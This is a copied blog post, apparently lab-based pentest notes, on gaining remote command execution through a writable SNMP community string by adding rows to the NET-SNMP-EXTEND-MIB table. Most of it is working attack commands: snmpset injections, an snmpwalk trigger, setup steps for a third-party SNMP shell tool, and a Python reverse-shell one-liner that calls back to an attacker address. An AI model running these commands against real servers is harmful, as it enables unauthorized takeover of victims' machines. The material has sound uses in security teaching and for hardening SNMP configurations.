# SNMP RCE

This post was copied from <https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/>

SNMP is sometimes overseen by the administrator of the device or server where it is left in a default configuration. SNMP community with write permissions (**rwcommunity**) on the Linux operating system can be abused to let the attacker execute a command on the server.

![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)

## **Extending the Services**

While you are not able to modify existing entries that were configured in **snmpd.conf**, it is possible to add additional commands over SNMP, because the “MAX-ACCESS” permission setting in the MIB definition is set to “**read-create**”

Adding a new command basically works by appending an additional row to the “**nsExtendObjects**” table.

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```

Injecting a command to run on the SNMP service. **NET-SNMP-EXTEND-MIB** requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable.

![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)

Executing the command that we injected to the SNMP by enumerating it using snmpwalk

```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```

Showing that the command is /bin/echo.

![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)

The command will be executed when the it is read. **run-on-read()**

![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)

The command **/bin/echo "hello rio is here"** was executed during our snmpwalk read

![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)

## **Getting the Shell** **from Net-SNMP Extend**

In this section, I would like to discuss how to gain a server shell to control the server.

You can use python script developed by **mxrch** that can be downloaded from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)

You can install the pre-requisite to run this:

```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```

![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)

**Creating reverse shell**

You can also create reverse shell manually by injecting the command below into the SNMP

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```

![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)

run the snmpwalk to trigger the command execution

![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)

Our netcat receives the reverseshell connection from the victim that allow us to gain control over the victim machine

![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
